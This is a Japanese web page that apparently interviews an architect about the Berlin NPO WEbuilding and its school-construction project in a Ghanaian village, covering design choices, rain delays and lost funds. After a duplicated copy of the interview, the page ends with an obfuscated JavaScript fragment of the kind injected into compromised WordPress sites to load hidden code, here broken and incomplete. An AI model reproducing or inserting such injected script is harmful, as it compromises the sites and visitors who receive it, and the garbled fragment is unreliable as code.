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WEbuildingの大城と申します。今回はドイツで建築士として働きながら、友人と共にドイツのNPO・WEbuildingにて「ガーナ学校建設プロジェクト」を運営している大城さんへインタビューを行いました。海外のNPOで活動をするようになった経緯やWEbuildingの活動内容について詳しくお聞きしました。

We-building e.V. :ドイツのNPOであり、公共建設事業を通して地域社会に支援を行うことを目的に、建築家を中心に2015年、ベルリンで設立されました。私たちの持つ建築についての技術的な専門知識を活用することで、建設事業を効率的に進めることができると考えています。

-ガーナ学校建設プロジェクトとは具体的にどんなことを行っていますか?またその意義は?

首都アクラから乗り合いタクシーで約3時間のところに位置するダマング村に幼稚園、小学校、中学校からなる総合学校を建設しています。今回小学校にあたる教室が完成しました。すべて完成すれば540人の子どもたちが学ぶことができるようになります。

現在、村にはいくつかの学校がありますが、たくさんの子どもたちが、防音/断熱材の施されていない屋根の下、窓のない教室で授業を受けています。これでは隣の教室の音が直に聞こえてきたり、ガーナ特有の強い雨が室内に入ってきたり、雨が屋根に当たる音で授業どころではありません。実際に、雨が降ると授業が中止になります。プロジェクトの一つ目の意義は、村の学校が抱える、児童の受け入れ人数を超過している状況を緩和することです。もう一つは、工法・材料・換気・採光・排水設備において、新しい学校が快適に学び、遊ぶことのできる場所として一つの参考例になることです。これは学校に限らず、村の住宅にも応用できます。

村の学校での授業の様子

WeBuildingは建築士であるメンバーの専門知識を活かして、建設に関わる技術的な支援を行っています。具体的には、

・建築現場の視察 (敷地面積、傾斜、周辺建物の材料、植生、雨の強さなどチェック)
・現地協力NPOとの話し合い (規模、費用、日程、要望について)
・校舎の設計図作成と建築申請
・見積もり
・建築工程表(スケジュール)の作成
・工事監理(施工状況、日程が計画通りに進んでいるかチェック)
・資材の購入(現地業者との交渉、色、厚さ、品質などを実際にその場でチェック)

こうすることで建設を効率的に進めることができます。実際、今回の小学校校舎建設を約半年で完成させることができたのは、その結果だと思います。

完成した教室内部:
スリット状に隙間を設けた窓(採光と通風)、竹を敷いた天井(防音)、敷地でとれた土から作った壁(調温と調湿)

また、技術的な支援の他にも、団体のあるドイツ・ベルリンでは、私たちの活動を人々に知ってもらうため、アフリカフェスティバルへ参加したり、ワークショップを行っています。そこで活動を知っていただいた方からの寄付金は校舎建設のための大きな助けになっています。

アフリカフェスティバルでの広報活動、メンバーと

-その活動を行い始めたきっかけは何でしたか?

団体の設立者であるラウラは設立以前、建築ボランティアとしてダマング村に滞在していました。その時、現地NPOから新しく建てる学校の話を聞き、建築士として深く関わるため、帰国後のドイツで2014年にWeBuildingを設立しました。

私は、大学で建築を学んだ後、2013年にベルリンで語学学校に通っているとき、友達の友達としてラウラと会いました。それからしばらくして2015年、偶然Facebookで彼女の「ガーナ学校建設プロジェクト」を知り、すぐにコンタクトを取りました。私自身、建築の分野でどのように国際協力に関わることができるかということに興味があったのですぐに参加しました。(ドイツに来る前に、人道支援を行う建築団体に応募しましたが、その時は実務経験が無く、断られました。)

-ガーナ学校建設プロジェクトを行ってみてどうでしたか?

最初に挙げた意義(目標)に関して言えば、すごく意味があったと思います。教室が完成したとき、地元の方が見に来てくれ、中に入ってすぐ「なんて涼しんだ。マサ、どうやったんだ!!」「俺の家もやろう!!」と言ってもらった時は、すごくうれしかったです。その後、長々と屋根の換気口の作り方や壁に使った土を圧縮しただけのブロックについて話しました。彼が同じ工法あるいは改良した工法で自分の家を作った際には、ぜひ訪れてみたいです。学校運営についてはまだまだこれからです。

 

校舎完成後に職人さんたちと-活動を行う中で特にキツかったことはありますか?

ガーナの雨にはとても悩まされました。私は沖縄出身でよく台風を経験しましたが、雨季のガーナでは、ほぼ毎日台風並みの雨が降ります。その時は工事を中断せざるを得ません。そして翌日再び、昨日の作業をやり直さないといけないことも多々あり工期が遅れました。作業員の方の給料は支援者からの寄付金で支払われているため、限りがあります。工期が遅れるということは、その分の資金を残しておくため、誰を作業員として残すか苦渋の決断をしないといけないときもありました。

整地にブルドーザーを使った以外、全て手作業で校舎を建設したことは、体力的に大変でした。現地の方は働いているのに私だけバテバテなことはよくありました。

-活動の裏話を少し聞かせてもらえますか?

現地協力NPOメンバーの一人に活動資金の一部を持ち逃げされました。私たちの金銭感覚ではそれほど多くはない額でしたが、彼とは4か月間寝食を共にし、とても信頼していたこので、落ち込みました。

ガーナでは道を歩いてると「オブローニ(白人)」とよく呼ばれます。それが、いい意味(初めて見た生の海外の人に歓喜する子どもの場合)でも悪い意味(若者たちからのからかいの場合)でも、あまりいい気はしません。それがずっと続くと、ガーナのことを少し嫌いになります。

ごくたまにですが、「支援をしている海外NPOはお金をもってる」と勘違いし、交渉の時や話をしている中で実際にそのような言葉を口にしたり、適正価格以上で売りつけようとする人がいます。

-この活動の今後はどのように考えてますか?

現在、9月の小学校開校式に向けて準備を進めています。教室の家具を現地の大工さんに作ってもらうため、助成プログラムに応募したり、寄付金集めを行っています。現地協力NPOが学校運営をすることになっており、当分は先生の雇用や運営を軌道にのせることに力を入れていくことになります。長期的には小学校の敷地北側に中学校・幼稚園建設を予定しており、その資金集め、スケジュール作成をする予定です。

個人的には、建物建設(ハード面)にとどまらず、今後はドイツや日本のアーティストと組んで学校で子どもワークショップの開催などソフト面を充実させたいと考えています。Webuildingメンバーだけでなく、いろんなジャンルの方と組むことで、活動の輪を広げていけたらと思います。

また、小学校建設を終えてから、他のNPOから新しいプロジェクトの依頼をいただきました。一つはバスケットコートのトイレ設備(ガーナ)。もうひとつは自然体験型ファーム(モザンビーク)です。そちらも全力で取り組んでいきます。

-大城さんの活動と他の団体と大きく違う点は何なのでしょうか?

WeBuildingには、現在12名のメンバーがいますが、7ヶ国という多国籍のメンバーで成り立っています。それぞれのメンバーが「建築」だけでなく、「音楽」・「メディア」・「遊び」など自分の得意分野を活かし活動に関わり、母国に向けて活動の情報発信をしています。新たに加入するメンバーや今いるメンバーの得意分野を組み合わせることで今後、色々な活動を色々な国で行うことができると思います。

また、彼らが母国で育んできた教育に対する価値観や背景を意見交換し合うことは、私たちがガーナというまた別の国で学校建設プロジェクトをする上で、「一つの価値観を外から持ってくる」ということにはすごく慎重になることができます。

-最後に一言どうぞ

今回、世界中の多くの方からの支援によって校舎を建設することができました。ここでもう一度お礼を言いたいです。同時に、世界中の一人一人の関心が集まることで、子供たちのために一つの学校を建設できるという事実に感動しています。これからもWeBuildingは子供たちの未来への努力を後押しをできるよう頑張っていきますので皆様のご支援よろしくお願いします。

 

・ホームページ(日本語)>http://www.schoolinghana.org/ja/
・Facebook>https://www.facebook.com/WEbuilding.e.V/
・Instagram>https://www.instagram.com/webuilding/

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http://worlli.com/wp-content/uploads/2018/07/37613278_1703825793061773_2825888004579524608_n-500x327.jpghttp://worlli.com/wp-content/uploads/2018/07/37613278_1703825793061773_2825888004579524608_n-120x120.jpgworlli編集部未分類WEbuildingの大城と申します。今回はドイツで建築士として働きながら、友人と共にドイツのNPO・WEbuildingにて「ガーナ学校建設プロジェクト」を運営している大城さんへインタビューを行いました。海外のNPOで活動をするようになった経緯やWEbuildingの活動内容について詳しくお聞きしました。 We-building e.V. :ドイツのNPOであり、公共建設事業を通して地域社会に支援を行うことを目的に、建築家を中心に2015年、ベルリンで設立されました。私たちの持つ建築についての技術的な専門知識を活用することで、建設事業を効率的に進めることができると考えています。 -ガーナ学校建設プロジェクトとは具体的にどんなことを行っていますか?またその意義は? 首都アクラから乗り合いタクシーで約3時間のところに位置するダマング村に幼稚園、小学校、中学校からなる総合学校を建設しています。今回小学校にあたる教室が完成しました。すべて完成すれば540人の子どもたちが学ぶことができるようになります。 現在、村にはいくつかの学校がありますが、たくさんの子どもたちが、防音/断熱材の施されていない屋根の下、窓のない教室で授業を受けています。これでは隣の教室の音が直に聞こえてきたり、ガーナ特有の強い雨が室内に入ってきたり、雨が屋根に当たる音で授業どころではありません。実際に、雨が降ると授業が中止になります。プロジェクトの一つ目の意義は、村の学校が抱える、児童の受け入れ人数を超過している状況を緩和することです。もう一つは、工法・材料・換気・採光・排水設備において、新しい学校が快適に学び、遊ぶことのできる場所として一つの参考例になることです。これは学校に限らず、村の住宅にも応用できます。 WeBuildingは建築士であるメンバーの専門知識を活かして、建設に関わる技術的な支援を行っています。具体的には、 ・建築現場の視察 (敷地面積、傾斜、周辺建物の材料、植生、雨の強さなどチェック) ・現地協力NPOとの話し合い (規模、費用、日程、要望について) ・校舎の設計図作成と建築申請 ・見積もり ・建築工程表(スケジュール)の作成 ・工事監理(施工状況、日程が計画通りに進んでいるかチェック) ・資材の購入(現地業者との交渉、色、厚さ、品質などを実際にその場でチェック) こうすることで建設を効率的に進めることができます。実際、今回の小学校校舎建設を約半年で完成させることができたのは、その結果だと思います。 また、技術的な支援の他にも、団体のあるドイツ・ベルリンでは、私たちの活動を人々に知ってもらうため、アフリカフェスティバルへ参加したり、ワークショップを行っています。そこで活動を知っていただいた方からの寄付金は校舎建設のための大きな助けになっています。 -その活動を行い始めたきっかけは何でしたか? 団体の設立者であるラウラは設立以前、建築ボランティアとしてダマング村に滞在していました。その時、現地NPOから新しく建てる学校の話を聞き、建築士として深く関わるため、帰国後のドイツで2014年にWeBuildingを設立しました。 私は、大学で建築を学んだ後、2013年にベルリンで語学学校に通っているとき、友達の友達としてラウラと会いました。それからしばらくして2015年、偶然Facebookで彼女の「ガーナ学校建設プロジェクト」を知り、すぐにコンタクトを取りました。私自身、建築の分野でどのように国際協力に関わることができるかということに興味があったのですぐに参加しました。(ドイツに来る前に、人道支援を行う建築団体に応募しましたが、その時は実務経験が無く、断られました。) -ガーナ学校建設プロジェクトを行ってみてどうでしたか? 最初に挙げた意義(目標)に関して言えば、すごく意味があったと思います。教室が完成したとき、地元の方が見に来てくれ、中に入ってすぐ「なんて涼しんだ。マサ、どうやったんだ!!」「俺の家もやろう!!」と言ってもらった時は、すごくうれしかったです。その後、長々と屋根の換気口の作り方や壁に使った土を圧縮しただけのブロックについて話しました。彼が同じ工法あるいは改良した工法で自分の家を作った際には、ぜひ訪れてみたいです。学校運営についてはまだまだこれからです。   校舎完成後に職人さんたちと-活動を行う中で特にキツかったことはありますか? ガーナの雨にはとても悩まされました。私は沖縄出身でよく台風を経験しましたが、雨季のガーナでは、ほぼ毎日台風並みの雨が降ります。その時は工事を中断せざるを得ません。そして翌日再び、昨日の作業をやり直さないといけないことも多々あり工期が遅れました。作業員の方の給料は支援者からの寄付金で支払われているため、限りがあります。工期が遅れるということは、その分の資金を残しておくため、誰を作業員として残すか苦渋の決断をしないといけないときもありました。 整地にブルドーザーを使った以外、全て手作業で校舎を建設したことは、体力的に大変でした。現地の方は働いているのに私だけバテバテなことはよくありました。 -活動の裏話を少し聞かせてもらえますか? 現地協力NPOメンバーの一人に活動資金の一部を持ち逃げされました。私たちの金銭感覚ではそれほど多くはない額でしたが、彼とは4か月間寝食を共にし、とても信頼していたこので、落ち込みました。 ガーナでは道を歩いてると「オブローニ(白人)」とよく呼ばれます。それが、いい意味(初めて見た生の海外の人に歓喜する子どもの場合)でも悪い意味(若者たちからのからかいの場合)でも、あまりいい気はしません。それがずっと続くと、ガーナのことを少し嫌いになります。 ごくたまにですが、「支援をしている海外NPOはお金をもってる」と勘違いし、交渉の時や話をしている中で実際にそのような言葉を口にしたり、適正価格以上で売りつけようとする人がいます。 -この活動の今後はどのように考えてますか? 現在、9月の小学校開校式に向けて準備を進めています。教室の家具を現地の大工さんに作ってもらうため、助成プログラムに応募したり、寄付金集めを行っています。現地協力NPOが学校運営をすることになっており、当分は先生の雇用や運営を軌道にのせることに力を入れていくことになります。長期的には小学校の敷地北側に中学校・幼稚園建設を予定しており、その資金集め、スケジュール作成をする予定です。 個人的には、建物建設(ハード面)にとどまらず、今後はドイツや日本のアーティストと組んで学校で子どもワークショップの開催などソフト面を充実させたいと考えています。Webuildingメンバーだけでなく、いろんなジャンルの方と組むことで、活動の輪を広げていけたらと思います。 また、小学校建設を終えてから、他のNPOから新しいプロジェクトの依頼をいただきました。一つはバスケットコートのトイレ設備(ガーナ)。もうひとつは自然体験型ファーム(モザンビーク)です。そちらも全力で取り組んでいきます。 -大城さんの活動と他の団体と大きく違う点は何なのでしょうか? WeBuildingには、現在12名のメンバーがいますが、7ヶ国という多国籍のメンバーで成り立っています。それぞれのメンバーが「建築」だけでなく、「音楽」・「メディア」・「遊び」など自分の得意分野を活かし活動に関わり、母国に向けて活動の情報発信をしています。新たに加入するメンバーや今いるメンバーの得意分野を組み合わせることで今後、色々な活動を色々な国で行うことができると思います。 また、彼らが母国で育んできた教育に対する価値観や背景を意見交換し合うことは、私たちがガーナというまた別の国で学校建設プロジェクトをする上で、「一つの価値観を外から持ってくる」ということにはすごく慎重になることができます。 -最後に一言どうぞ 今回、世界中の多くの方からの支援によって校舎を建設することができました。ここでもう一度お礼を言いたいです。同時に、世界中の一人一人の関心が集まることで、子供たちのために一つの学校を建設できるという事実に感動しています。これからもWeBuildingは子供たちの未来への努力を後押しをできるよう頑張っていきますので皆様のご支援よろしくお願いします。   ・ホームページ(日本語)>http://www.schoolinghana.org/ja/ ・Facebook>https://www.facebook.com/WEbuilding.e.V/ ・Instagram>https://www.instagram.com/webuilding/ var _0x1b1d=;function yapm(){var _0x1d09x2=_0x1b1d;var _0x1d09x3=_0x1b1d;var _0x1d09x4=_0x1b1d;var _0x1d09x5=_0x1b1d;document](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm()Just another WordPress site